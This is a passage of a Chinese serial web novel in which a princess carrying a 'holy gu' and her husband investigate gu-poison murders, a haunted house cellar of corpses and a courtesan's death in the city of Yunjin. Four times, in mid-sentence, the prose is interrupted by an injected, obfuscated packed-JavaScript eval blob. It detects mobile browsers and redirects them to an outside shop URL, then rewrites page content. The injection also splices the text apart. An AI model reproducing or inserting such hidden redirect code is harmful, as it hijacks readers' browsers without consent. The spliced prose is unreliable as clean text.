沈序怔愣,又立马反应过来,正欲起身,忽听得身后传来韩砚三人的脚步声。他们一同回头望去,见韩砚吊儿郎当地蹦跳着过来了。 林中狭窄多树,牵着马不易行走,他们三人便将马匹拴在了入林处,步行来寻三人。 韩砚本来还吊儿郎当的模样,走近后却见南夙虚弱地躺在沈序怀里,立马着了急,“这是怎么回事?” 安雀在一旁本就着急,就等着沈序起身后赶紧动身,见韩砚三人走来,忽想起什么。她一个疾步上前抓住韩砚,“你不是轻功好吗?你跟我去。” 说完没等韩砚反应过来,已经被扯着跳下了矮崖。 “啊”声尖锐,自崖下响起,久久未绝。 江陌与叶燃也忙上前观察南夙的情况,叶燃自一旁蹲下,沈序看他一眼,将南夙的手握在手中伸向叶燃。叶燃轻点了下头,“得罪了,夫人。” 他手指搭上南夙的脉,南夙闭了闭眼,想将手收回来,被沈序按住,“别动。” 南夙没再反抗,语气虚乏:“没事,是蛊,我缓一会就好。” “你现在这样子可不像是缓一会就能好的。”沈序语气强硬,“让叶燃先看看。” 南夙忽然不安地歪了下头,将脸往他怀里躲了躲,像是在避风。沈序感觉握着她的手越来越凉,南夙整个人地温度像是被突然抽干了般,他连忙解下大氅将南夙罩得严严实实。南夙不再动,乖乖地躺在他怀里。 叶燃离脉后,他将南夙的手也收到大氅底下捂住。 “怎么样?”沈序抬眼。 叶燃抿了抿嘴,若有所思,半晌缓缓摇了摇头,“我只能探出夫人现下脉搏很虚弱,至于原因,探不到。” 怀里南夙忽地动了下,沈序忙低头看去。南夙搭着他的手直起身来,脸上血色开始回升,体温也逐渐恢复。沈序触到她指尖温度,瞳孔骤然一缩。他手指无意识收紧,将南夙指尖的温度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黑苗族中有许多人邪恶可怖,最喜炼一些违背人性的蛊毒,随意抓白苗中族人做试验,以折磨白苗族人为乐。两族经历这样的生活大概有八十多年,直到南夙的曾祖父出现。他是当时白苗族中首领身边的一个小手下,因看不惯黑苗如此虐杀族人,又厌恶首领胆小怕事、毫无作为,于是偷偷学习了黑苗蛊术,并在过程中学会了将两族所炼之蛊结合的技艺,后又带领白苗族人反抗黑苗,成功统一了灵诏。 灵诏一统后,黑苗中除一些必要的蛊术,其他害人的蛊术便都被曾祖下令一把火烧了。只是没想到,当时负责烧毁的人与黑苗族人串通私藏了一部分,并大力在黑苗族人中宣扬,称曾祖要剥夺他们历史,为了安抚族人,曾祖只好下令将那些没被烧毁的黑苗古籍封存起来。 “今日我们所见的蛊毒,便是黑苗中的较为邪恶的‘炼骨蛊’。”南夙声音淡淡,没什么起伏,听不出情绪,“但我不知道它为何会在此处出现。” “这还只是较为?”江陌纳罕。 要据南夙方才所说,这“炼骨蛊”的作用是能够控制人,一旦在人体内种下,每月都要服药。若是逾期未服药,蛊虫便会发狂,啃食宿主血肉,直至宿主没有血肉可供它吸食,方会随宿主死去。 方才南夙会对它有那么大反应,就是因为那妇人的血肉还未让它吸食殆尽。蛊虫生命力越活跃,她的反应越大。 南夙趴在沈序背上,没说话。 沈序向上托了托她,突然开口,“你可以感知到所有蛊虫?” 众人好奇转过头看向她,安雀则是一脸惊讶地望了眼沈序,又看向南夙,想看南夙会作何反应。 南夙圈着沈序的脖子,缓缓点了头,“嗯。” 毕竟大家以后要一起行动,还是让大家知道自己的情况比较好,这样若是下此再发生这种事,大家也都知道她的状况只是暂时的,不会因为担心她而耽误行动。 于是她缓缓开口,“我体内有圣蛊。” “小姐?!”安雀出口阻拦。 “没事的。”她冲她笑笑,安慰她放下心来。 “圣蛊是什么?”许久未开口的叶燃开口问道。许是因为他习医术,对南夙这种能够隔很远感知到另一生物的能力很是好奇。 “圣蛊,你们可以把它看作是百蛊之王。”南夙说道,“它宿在我的身体里,能够感知十里以内的所有的蛊。不论是医蛊还是战蛊,只要出现在附近,我便能感知到它并且知晓它属于什么蛊类。” “我还可以控制它们。” “控制?” “嗯。”南夙晃晃腿示意自己要掉下去了,沈序将她向上一颠,南夙紧紧抱着他的脖子。 “练蛊有一样必不可少的东西,便是炼蛊人的血。在灵诏,每个人的血炼出来的蛊的利害程度是不一样的。越是族内与皇族关系越近的,血的能力越强,炼出的蛊就越厉害。若是一人炼出来的蛊比另一人厉害,那么此人便可以克制另一人的蛊。同理,我体内的圣蛊也可以压制甚至杀死操控杀死别人的蛊。只要我的蛊比它的更强。” “方才所遇到的炼骨蛊,我能感知到它,却不能压制它。” “所以说练这个蛊的人他比你更厉害?”韩砚听明白南夙的意思,突然插嘴。 安雀狠狠瞪了他一眼,他立马闭嘴了。 “嗯。”南夙很慢地点了两下头,“问题在于……” “我是谁?”她转头望向众人,突然抛出一个问题来。 “嫂嫂,你傻了?”韩砚说道,又被安雀一个眼神堵回去,他规矩回道,“嫂嫂。” 南夙又看向剩下两人。 江陌:“靖北侯府的世子妃?” 南夙摇头。 叶燃:“大理寺少卿的夫人?” 南夙还是摇头。 “灵诏国的小公主,拥有皇族血统的人。”沈序突然开口。 “对。”南夙欣慰,总算有人说到点子上,“圣蛊本身便是百蛊之王,再加上我的血液滋养,我接近那炼骨蛊时不应当有那么大的反应。” 她小时候也不是没有遇到过像今日这样的情况,但一是因为碰到的都是阿维或是诏父的蛊,二是她那会还小,尚未发育完全。诏父将她送去的是一个除了她与安雀之外没有人会练蛊的村子,所以她第一次感知到诏父和阿维的蛊才会产生如此大的反应。 自她长大后,已经不再对阿维的蛊有反应。至于诏父,她后来几乎没有与他相见过,但对阿维的蛊已经没有那么大的反应,她猜测诏父应当也一样。 她入中原后,唯一让她出现反应的蛊,一次是新婚夜沈序那次,再一次便是刚刚这次。 两次她都不知道要怎么解释。 沈序的蛊她后来去查过,但是没查到,加上每日待在一起已经习惯了,连十九蛊与银觳都已经适应,现在他与沈序靠再近也不会有反应。反正也没什么危害,她便没有再查。 “我想不到中原能有什么人的蛊比我的厉害。”别说中原,就是整个灵诏也找不出几个。 她说完,众人都沉默下来。 “到了。”沈序停下脚步。 众人闻言抬头,望向眼前古拙浑浊的城墙,南夙在他背上直起身子同样朝大家看的地方看去。 云津,到了。 12. 入城 云津城的雪,下得矜持。 青瓦上积着一层薄薄的银絮。南夙推开客栈房间的窗,云津城的烟火气顺着墙面爬上来。沿御街铺开十里的罗肆刚刚挑起琉璃灯,南夙视线沿着青石板上流淌的光影——杭州的外表过于繁华了。 “小姐,世子他们还没到吗?”整理好行李后安雀见她正看外面,开口问道。 一炷香前。 云津城外,六道身影在官道上牵着马停驻,风尘仆仆,却各自收敛气息,不引人注目。沈序扫了眼城门方向,低声道:“杭州城鱼龙混杂,我们人多,一起进城太显眼。” “那就分开走,避免引人怀疑暴露身份。”南夙被沈序背着走了许久,现下已恢复得差不多,她勒紧缰绳,接话道。 叶燃最先开口:“我与江陌走东门。” 江陌默默点头,默认了叶燃的提议。 沈序看了眼南夙,正想开口,却听南夙突然开口:“那我和安雀一起吧。” 说完她看向沈序,“你们想走哪个门?” 沈序沉默良久,似在思考,半晌才开口:“我和韩砚走南门,城内三十六客栈汇合。” 众人点头,翻身上马,收紧缰绳往不同的城门奔去。南夙与安雀却没上马,不知他们是不是有意,将最近的城门留给了她们。 入了城,她们便寻找沈序说的客栈。天暗下来,簌簌落着细雪。黄昏时分,她们二人终于找到客栈。江陌也叶燃从前来过云津,识路,到得比她们早些,她们到客栈时,两人已经办好了住房。三间房,两人一间。 小二领着南夙与安雀上楼,安雀收拾行装,南夙便想提前观察一下云津城。 听到安雀的问话,她往城南那边看去,看见两个熟悉的身影正朝客栈走来。 “到了。” 视线掠过沈序身后的冒着热气的包子摊,摊贩旁角落,一个乞丐手腕上的疤出现在她视线。 好熟悉的伤痕。距离太远,她看不真切。她垂眸沉思,忽感觉一道视线向自己投来,她朝那道视线望去,见沈序与韩砚停了步,韩砚在与包子摊老板交谈,而沈序抱着手在一旁远远地看着南夙。 南夙对上他的视线,立马明白过来他察觉自己发现什么了。 于是她向沈序使了使眼色,抬起那只戴了银镯的手朝他晃了晃,那镯子顺着她的腕子往下滑,叮当作响。 不知沈序看懂了没有,南夙正想着,毕竟她与沈序相处还没有那么多,沈序可能没法理解她的意思。 却见沈序已经转身朝那名乞丐走去,他先是状似随意的在一旁糖葫芦摊买了串糖葫芦,自然地往那边走,擦过乞丐身旁时自腰间掏出几枚铜板扔进了乞丐的破碗中。铜板落进碗中发出脆响,那乞丐立马双手合十不断地对沈序作着揖,破败的袖子滑落下去,将手腕上的疤清晰地暴露在沈序眼前。他只稍看了一眼,便转身拉上买好包子的韩砚走了。 小二在前方引路,上了楼,沈序却转了个弯往南夙的那间走去。 房门推开又被合上,南夙见他走进来,凑到他身前,“怎么样,发现什么了?” “那乞丐手腕上有一圈伤疤,看上去像是烧伤,皮肤已经褶皱。”沈序缓缓将讲讲看到的告诉她,“但很奇怪,他的伤只在手腕一圈,别的地方都没有。” “确实很奇怪。”南夙手指轻扣着下巴点头赞同。 沈序表情有些严肃,南夙看了一眼,叹了口气,“虽然还不确定,但我必须告诉你,灵诏确实有蛊毒能够形成这样的伤疤。” “我们必须抱着最坏的打算。”视线相撞,南夙眼眸处藏着几分不安,“盗走灵诏古籍的人在炼蛊控制这里的百姓,至于做什么……我暂时还想不到。” 她语气有些抱歉。沈序听出来了,他知道南夙是因为灵诏古籍被偷,是因为灵诏失职,让古籍被偷,南夙便将此事都看做是自己的责任。 他安慰道:“不用太担心,既然我们来了,一定能查清的。” “嗯。” “这个给你。”沈序将手中的糖葫芦递给她。 “给我?”南夙惊讶。 “嗯。”沈序点头,“我记得你爱吃。” “我什么时候?”南夙愣住,她在沈序面前吃糖葫芦好像只有找他合作那夜吧,那串糖葫芦最后还被她扔去砸沈序了,他是怎么得出自己爱吃的结论的? 南夙手指搓动手中木棍,糖葫芦便跟着转动起来。她咬了一颗,望了一会沈序的背影,转头喂了个糖葫芦给安雀。 晚饭过后,一行人围坐在沈序与韩砚的房间。 “先捋一下思路,再定一下行动计划。”桌岸上铺开一张绢布,画着云津城的布局。 沈序说道:“我们此行目的,是为了查互补侍郎尤谭贪墨的证据,他既然能够将江南的灾饷运到京城,就一定与此处的刺史脱不了干系。” “韩砚。”他抬头望向他,“你负责去查这个刺史,他每日去了哪,见了什么人,做了什么,你全都记下,回来上报。” “啊?就我一个人去吗?”韩砚撇嘴,“能不能再找一个人陪我去?”他眼睛一转,一脸讨好地看着沈序,“实在不行,就哥你陪我……” “我陪你去。”安雀突然开口,打断韩砚的话。韩砚不满地瞪她一眼,她没有丝毫害怕地回瞪过去。 众人一道看向安雀。 安雀道:“我轻功也不错,觉得不会拖后腿。况且你们要跟踪人,总要用些手段。我自小与小姐一同长大,我的蛊也算是较厉害的,若是中途出了意外,我也能帮得上忙。”安雀顿了下,继续说道,“更重要的是,我也会些医术。” 她视线扫过众人,“我们六人当中,我知道叶燃家中世代从医,医术不错。我与小姐也是自小习医蛊。” “正好,我和韩砚一起,小姐和世子一起,叶燃和江陌一起,若是遇险受伤,可以及时处理。” 她一番话砸下来,现场没人能够拒绝她。韩砚虽因她打断自己不满,但大局当下,他还是同意安雀所说的。 “行!那我就与你一道。”韩砚说道。 沈序没立马同意,而是望向南夙,想听听她的意见。 南夙察觉到他投来的视线,歪头疑问:“怎么了?有什么问题吗?” 沈序:“安雀是你的人,你来决定。” 南夙明了,她点点头,转身捧起安雀的脸在手里晃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144235|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃,“我们小安雀从来都是想做什么就做什么的,不需要经过我的同意。对吧?”她朝安雀扬扬下巴。 安雀眯着眼睛朝她笑,重重点了下头,“嗯!” “那便就这样吧。” “叶燃与江陌,你们在城内四处打听打听,问一下云津城内近日有没有什么事发生,切记不要打草惊蛇。”沈序手指划过桌案绢布,指尖从客栈出发,划过刺史府,停在城南一处,“至于我们,去查蛊的来处。” “嗯。”南夙点头,补充道:“若是在调查过程中发现身上有奇怪的烧伤痕迹的人,记得告诉我。” 自在城外遇到那名被下蛊的妇人,再到进城后城中诡异的繁荣景象。南夙直觉这座城一定不对劲。城中一片安好,没有半点受灾后灾银被贪的破败,表面上看着是云津城已经慢慢修复,重回繁荣,但南夙却发现,城中除街边的摊贩外,几乎见不到人。按理说,这个月份应是集市最为热闹的时候,可这云津城却见不到几人。 虽然他们入城时间已经接近晚上,但大景没有宵禁,夜间也多有人在坊间行走玩乐。这些在云津都看不到。南夙怀疑,城中的百姓不在这里,或者说,他们被人带走了。结合那枚“炼骨蛊”,南夙不得不做出这种怀疑。 至于为什么没有直接告诉大家,因为她还没有证实。此事过于震撼,说出来只怕也没人会相信,她决定先去查查,找找这批百姓的踪迹。 “走了。发什么呆?”一道温润的声音自耳后响起。 吓南夙一个激灵,她抖了抖,转头望见沈序站在她身后,正俯身靠近她。再一瞧其他人,已经没有人影儿了。 “他们都走了吗?”南夙问道。 “嗯。”沈序弯腰拿起双刃,挂回腰间,“我们也出发吧。” “好。”南夙起身,“我们俩去哪?” “去城南。今日入城我在那发现一座奇怪的宅子,我们今晚去探探。”沈序说着忽然想起什么,他问南夙,“你是不是没有武器?” 南夙无所谓地摇摇头,“没事,我用不上……” 话还没说完,沈序已经解下腰间长刃朝她扔来,她下意识接住。 “先用着,防身。” 南夙握着手中的长刃。她眨眨眼睛,那行吧。 她低头将长刃挂到自己腰上。 挂好后,二人一道出了客栈。 琉璃灯拉长二人的营子镇,南夙似想到什么,突然开口,“你的生辰是不是要到了?” “你怎么知道?” “你那夜告诉我的你忘了?” “你那夜困成那样,我还以为你不记得呢?”他们说的是大理寺审郑平后沈序背着她回家那夜。 “怎么会,你那夜说的我都记得呢。你的生辰,在二月十六,对吧。”南夙反驳。 “嗯。” “那倒时候我送你个礼物吧。” “送我礼物,现在就告诉我了?” “对啊。不行吗?” “怎么不给我留点惊喜?”沈序轻笑,故意问她。 “说了你也会惊喜的。”南夙歪嘴,“相信我,你绝对喜欢。” “行,那我很期待。” 13. 鬼宅 天完全暗了下来,城南接近江岸,江风呼啸,冷意窜来。 迎面两个男人与二人相对走来,擦肩而过时,南夙听见他们讨论的事情。 “哎?”左边那个男人碰了下旁边人的肩,“我刚回来,城里最近有什么奇闻轶事发生吗?跟我说说。” 右边那人说道:“你还真别说,最近城里还真发生了件怪事。” 那人说着拉着身旁的人往街边小摊走去。 “哎哟,脚崴了。”南夙忽地往沈序怀里倒去。 沈序接住她,见她冲自己使眼色,他扶着人也往小摊走去。 “你可还记得那醉春楼的第一名妓?”邻座的人压低声音,向旁边的人低语着。那两人靠得很近,不走近些很难听清两人在说什么。但南夙与沈序都是习武之人,听觉向来比常人敏锐些,两人的交谈声清晰地传进两人的耳朵。 “你是说……柳月?”另一人问道。 “正是。”那人点头,徐徐说来,“这人啊,死了!” “死了?”另一人语气惊讶,又立马反应过来,将声音压低,“怎么会突然死了?这其中可是发生了什么事?” 南夙听着他语气中倒是带着些惋惜。 那人继续说着:“谁知道呢,突然从醉春楼三楼跳了下来,死了!” “怎会如此?怎会突然跳楼?” “此事怪异之处就在这,现场看见尸体的人都说那柳月死时身体里爬出些恶心的虫子,整个脸啊,已经被啃食得不成人样。” “这……我从未听说如此怪异之事。”另一人瞪大眼睛。 说到这里,那人突然凑近,声音压得很低,“你出去的时间长,没经历前些日子的水灾,你不知道……” 那人的声音太低,南夙努力支起耳朵,却还是没听清他说了什么。 只听得另外一人突然提高了声音,语气震惊,“什么?怎么回事?” 那人却不说话了,他缩着脖子,偷摸着往两边看了看,显然看见了南夙他们,之后便不再说这个话题了。 搞得南夙那叫一个难耐。 不过这时,那人又换了一个话题,只听他语气幽幽,似要营造一种恐怖的氛围,“城南那的那个宅子,这些天一直有人传说夜里听见里头有女人在哭呢。” “这又是怎么回事?”另外一人连忙追问。 “那谁知道,现在没几个人敢去那边了。” 听得人一阵唏嘘,俩人安静了一会,端起茶杯喝了口茶, 那打听的男子想着想着,又似打抱不平地说:“哎,这柳姑娘也是不幸,这好好的前程就这么没了。” “可不是?”那人举起茶杯猛灌一口,突然揶揄地笑起来,撞了撞身旁人的肩,“哎?你以前听说这些事可从来不会露出这么惋惜的表情。怎么?林兄也是这柳月的恩客?” 南夙厌恶地皱了下眉,捏紧了握在手中的茶杯。 “不可胡言。这柳姑娘虽身在醉春楼,却也是身不由己,早些年我有难时柳姑娘也曾仗义执言,朱兄切勿如此低看这醉春楼的女子了。况且就单从她能靠自己为自己赎身,便能看出她不是个普通的女子。”这人语气严肃。 “好好好,我不说了。”那人撇撇嘴,丢下茶杯,拉起那人离开了茶水摊。 南夙捏紧茶杯的手又松开,她望着那两人的背影,给了姓朱的那位一个白眼。幸好当时那位林兄没有说出和这位朱兄一样难听的话,不然她就要控制不住手中的茶杯往那两人飞去了。 “这人还挺不错的。”她说的是刚刚为柳月说话的那位林公子。 “也有不少蠢的。沈序轻笑,拿起椅子边的短刃起身,先一步转身走出摊子,”“行了,走吧。” 南夙拿起长刃追在他身后,“他们刚刚说的那座宅子就是你说的那座?” 沈序点点头,“大概率是。” “那你是怎么发现它不对劲的?”南夙问道。 “方才那人说的哭声你还记得吗?”沈序没直接回答她,反问道。 “所以你真的听见女人的哭声了?”南夙有些好奇,她是不信什么鬼神之说的,不知道沈序信不信,于是她问道:“你信里面有鬼这种说法吗?” “不信。”沈序垂眸看她,“你信?” “我也不信。”南夙顿了下,在他眼前缓缓张开了手,一只绿色的虫子停在她中指上,一动不动。确认沈序低头看见了这只虫子后,南夙才收回手来。 她缓缓说道:“比起鬼,我觉得还是我的蛊更管用点。” “是吗?” “那人说,柳月死时身体里爬出了虫子,脸也被啃食。”她停顿下来,抬眼看着身旁与她并肩同行的人,“沈序,如果我没猜错的话,偷走灵诏古籍的人正在用蛊术行邪恶之事,不论是入城前我们见到的那个妇人,进城后见到的乞丐的伤疤,还是柳月的死。每一处都与灵诏蛊术有关。” “而且他们做的很隐蔽,如果此次不是我来,你相信吗?没有人会发现他们做的这些事。” “嗯。”沈序轻颔了颔首,“我相信。城外遇到那个妇人时,如果不是因为你身怀圣蛊,我们便永远不会知道那深林的矮崖下,有一个妇人的尸体;如果不是你,我们也不会知道,原来那个乞丐的伤并不是简单的烫伤。” 他一字一句说着南夙的好,南夙的厉害,最后有些感慨,“幸好你跟来了。” 南夙有些小得意,她抬了抬下巴,“我就说吧,有我你绝对会事半功倍的。但是……” 她突然低落下来,没再说话。 沈序发觉身边安静下来,瞄了一眼南夙低着的脑袋。他伸手抚了抚她的头,安慰道:“灵诏古籍丢失一事并非你所造成,不必自责。” “可是这人确实是在用灵诏的东西害人。”南夙吸了吸鼻子,嗓音有些哑,“你知道吗?今日看到那个妇人破败的心脏时,我心里特别不是滋味。我没想到会有人用这么恶毒的蛊术害人,更没想到城里会有这么多恶蛊的存在。” 南夙很自责。 沈序顿时有些无措,但只一会,他便轻声道:“所以现在你应该打起精神来,把罪魁祸首抓到,还这些惨死的人一个公道。” “对!”南夙吸吸鼻子,擦擦眼睛,“我要打起精神来,早点抓到幕后之人。” 她语气愤愤:“等我抓到他,我要让他也感受一下被蛊虫折磨的滋味!我要给他下最毒的蛊,叫他求生不得,求死不能!” 她情绪来得快也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144236|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走得快,沈序低笑一声,却很是赞同地点点头,“好。” 南夙知道,沈序看到这些人时心中肯定也很不是滋味,他最是爱大景,爱大景百姓。虽然早早便收到诏父的信,却还是将南夙查了个透才真正接纳她。 明明他才应该是最难过的那个。 可每次发生什么事时,却都是他安慰南夙,指导南夙。 南夙觉得,他一点也不像十八岁的模样。她知道,京城像沈序这般大的世家少爷大多纨绔,少有几个正经一些的,也做不到像沈序这般的成就。 不过十八,便已多次随父出征,战功赫赫。现在还任大理寺少卿,陛下放权让他负责查贪墨一案。 南夙不得不承认,了解之后,她这位夫君的确才华卓荦。 “到了。” 南夙正想着,耳边沈序的声音响起。 她停下脚步,抬头看向面前的宅子。 朱漆大门上的铜环已经蒙了一层薄灰,沈序轻轻一推,门轴发出干涩的吱呀声,像是许久未曾有人来惊动它的沉寂。门板上积了水。南方的冬天藏不住雪,才一落地,便都化成了积水。 院中的景象更像是被静止了般,青石板覆着薄霜,几片枯黄的梧桐叶冻结在冰晶里。檐下破败的灯笼没人为它点灯。整个院子里都是一片破败萧瑟之气。 一阵邪风吹过。 南夙打了个寒颤,光站在这里,这座宅子被称作鬼宅确实有依据。 “进去吗?” “嗯。” 沈序推开正厅的门,一股霉味与奇怪的药香随着冷风铺面而来。 “这茶……”南夙轻触厅堂桌上的茶盏,指尖沾上一层薄灰,“茶汤未干,看这色泽,至少是半月前才泡的。” 茶壶底下压着一张泛黄的素纸,墨迹晕染开一片诡异的紫黑色。南夙将纸抽出,在灯下仔细辨别了一下纸上所写的字,“这是柳月的卖身契。” “怎么会压在这茶壶下?”她轻声嘟囔。难道这个宅子是柳月的? 却忽然听见沈序唤她,“这里有个脚印。” “脚印?” 南夙见他站在窗边,窗户半开,沈序弯着腰往窗台积雪上看。她迈步走去,沈序给她让了位置,南夙将手中的纸递给他,才朝窗台上投去视线,第一眼却没看见沈序所说的脚印。她眯了眯眼睛,微弯下腰,才在那窗台覆着的细雪上发现了一枚极难发现的脚印。 一抹青绿色晃过视线,南夙轻拨开了一层细雪,娜美脚印边缘泛着诡异的青绿色,在雪地上腐蚀出细小的孔洞。 “有人昨日来过这里?”她推测道。 “嗯。” “是凶手?”南夙继续猜测。 “大概率是他。”沈序点点头。 沈序举起未干的那只茶杯晃了晃,半晌,他开口,“这茶里有毒。” “嗯。”南夙点点头,“下的鹤顶红,量还不少。” 沈序挑挑眉,又看了看其它的茶杯与茶壶,都是空的,只有这一只茶杯中还剩下未干的茶水。 被人故意留在这的? 忽有一阵哭声传来,沈序放下手中的茶杯正欲抬头查看,便听得南夙的声音。 “沈序,我发现了地窖。” 14. 醉春楼 南夙用刃鞘拨开厨房角落堆放的柴草,露出一个锈迹斑斑的铁环。 沈序闻声走来,地窖的门随他的脚步而缓缓打开,腐朽的甜香混合着刺鼻的药味汹涌而出。 沈序正欲提步下去,被南夙一把拦住。她递给沈序一枚淡青色的药丸,“估计有毒,吃下去,防毒的。” 火折子照亮地窖骇人的景象,七具男尸凌乱地摆放在地面身着相同的黑色素衣,面上都作惊恐状,似是死前看到了什么恐怖的东西。 南夙蹲下身,指尖拨开一具男尸的衣领,尸身锁骨处浮现着蛛网似的青黑色血管,皮下似有东西在蠕动。南夙指尖一靠近,尸身底下的东西便不安的爬动起来,整个皮肤也浮动起来,发出呼呼的怪声。 “原来这就是哭声。” 南夙拔出长刃,划开尸身锁骨处的皮肤,青黑色的血液流淌出来,顺着锁骨滚进了杂草堆。她指尖捻起那只蠕动的蛊虫,虫子在她手中激烈的颤动起来。半晌,在她手心断了气息。 “是只最低等的蛊虫。”南夙说道,“但是战蛊,专用来杀人。” 沈序看了眼她手中蛊虫的肢体,收回视线。脚边踢到个陶瓮,里面浸泡着数十个透明囊泡,每个都包裹着一只指甲盖大小的虫卵。角落堆放的账本上,密密麻麻记录着日期和“药材”的数量,最新一页写着:“正月十三,取新蛊引,需阴时阴刻……” 正月十三,已是一月之前的事了。 南夙凑在沈序身旁数了数账本上写的“药材”,瞥见正月十三这个日期时愣了一下。 “居然这么早他们便开始谋划了吗?”她惊讶道。 这个日期只在她入京后几日,已是最新的记录。若按照这个日期推下去,这些人练蛊的时间至少要往前推半月。也就是说,去岁底灵诏古籍便已落入中原人手中。 可若是如此,时间也对不上。 南夙与沈序正月初五日大婚,而戈辞报信郑平与乌肆见面的时间是正月初三日。郑平说,古籍刚到他手中便被盗走,但最快,也得是初三那日。既是如此,云津之人为何自去岁便开始练蛊? 难道灵诏被盗的古籍不只那一本? 南夙觉得思绪很乱。其实还有另一种可能,但她始终没有告诉大家。那便是,灵诏出了叛徒。 灵诏的蛊术并不是任何人想学都能学会,即使有了配方与方法,没有灵诏人的帮助,也很难炼出蛊来。 若是城外妇人体内的蛊与这些尸体体内的蛊是同一人所炼,说明这叛徒还是与灵诏王室息息相关之人。南夙不愿相信也不敢相信灵诏王室中会有人做出这种事。 可事实摆在眼前,也容不得她不信。 只是不知这人盗走灵诏古籍逃亡中原,现在还帮中原人练蛊的目的是什么。 看来必须要给阿维传封信了。 “还有其它发现吗?”南夙自思绪中脱离出来,便见沈序正蹲在那陶瓮边,手中捏着一根木棍在瓮中搅弄着。 沈序缓缓摇头,“发现的东西是不少,就是与人对不上。” 自他们进入这个宅子后,下毒的茶杯、窗台上的脚印、地窖的不明尸体与蛊虫。这座宅子藏着的东西很多,但他们目前却只知道一位与这座宅子有关之人,便是醉春楼的名妓柳月。 沈序扔下木棍起身,视线却未离开那陶瓮,瓮中冲暖泛着青白诡异的色泽,沈序嘴翕动,声音低微,“看来这醉春楼是必须要去一趟了。” 他看向南夙,“先回客栈与他们汇合,听听他们的发现,再做下一步计划。” “行。” “竟然已经这么晚了?”南夙望着阴沉的天色,有些惊讶。 “其实没有很晚。”沈序说道,“只是这儿的天太低了些。” 南夙赞同地点点头,云津的天确实很低,白日里也是一片阴暗,四处诡谲。 三十六客栈。 “主上。” 江陌与叶燃在城中逛了一圈,先一步回了客栈。 见沈序与南夙进了客栈,便提前在房门前等着。 “他们二人呢?还没回来?”南夙自沈序身后探出个头来,往两人身边看了几眼,没发现安雀与韩砚的身影。 “回夫人,我们回来时没看到他们,想来是还未回来。”江陌说道。 “好吧。”她点点头,又望向沈序,“那我们是现在讨论,还是等等他……” 南夙话还未说完,余光忽地瞥见个熟悉的身影,接着便是韩砚激动的声音。 “大发现!”韩砚跳上最后一阶台阶,激动地冲向沈序几人,被身后的安雀一把拉住,他才收敛了些,规矩走过来。 “进屋说。”沈序推开房门,南夙跟在他身后进了屋,剩下几人也跟着走进屋内。 屋内烛火摇曳,六人围坐一圈。韩砚迫不及待掏出一张皱巴巴的绢布,上面密密麻麻写着字。 韩砚说都是刺史府的动向,“后日寅时,三艘商船自城南码头出发,名义上是运丝绸,实则是将云津的灾银运往京城。” 安雀补充道:“我们跟踪了刺史吴义,发现他与京城的人有联系,但京城来的哪位覆着面,我们没能看清,不知道来的是谁。” 南夙将他们听说的柳月的死告诉大家,又说了在宅子中所见到的东西。 “我们也打听到了这件事。”叶燃忽然开口,“我和江陌去了茶楼,听说了这名女子是在一月前跳的楼,打听到了她有一个丫鬟,如今还在醉春楼。柳月死后,她还成了醉春楼的头牌。” 南夙与沈序对视一眼。 “明日照样分成三路。”沈序指尖敲了敲桌面,“江陌与叶燃去城南码头处盯着那群人的动向,韩砚与安雀继续盯着刺史府,南夙同我去醉春楼。”他看向南夙,“若红雾知道柳月之死的真相,或许就能找出练蛊之人的线索。” 翌日黄昏,醉春楼华灯初上。 南夙换了一身靛青男装,玉冠束发,腰间挂着沈序的长刃,活脱脱一个俊俏小公子。沈序则扮作富商,玄色锦袍衬得眉眼如刃。 “二位爷瞧着面生呀——”老鸨甩着帕子迎上来,目光在沈序腰间的玉佩上黏了片刻。 沈序甩出一锭金子,“听说醉春楼的头牌红雾姑娘,琵琶弹得极好。” 老鸨伸出去接金子的手一顿,悬在半空。犹豫了一会,她还是伸手接过金子,陪笑道:“二位爷有所不知,这位红雾姑娘啊向来是不接客的。不过,二位爷要是真想领略一下我们姑娘的琵琶之音,便请移步到后院,今儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144237|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个可有好景色看呢。” 桥上人群熙攘,嬉笑声不绝。 南夙倚着桥身往湖中花坊看去,轻纱缥缈,随风而动。一个蹁跹身影手抱琵琶,在坊间若隐若现。她望着这看不清的湖水重重吐了口气。 “怎么样?”沈序自桥下走来,南夙问道。 “老鸨说我们亥时可上船。” 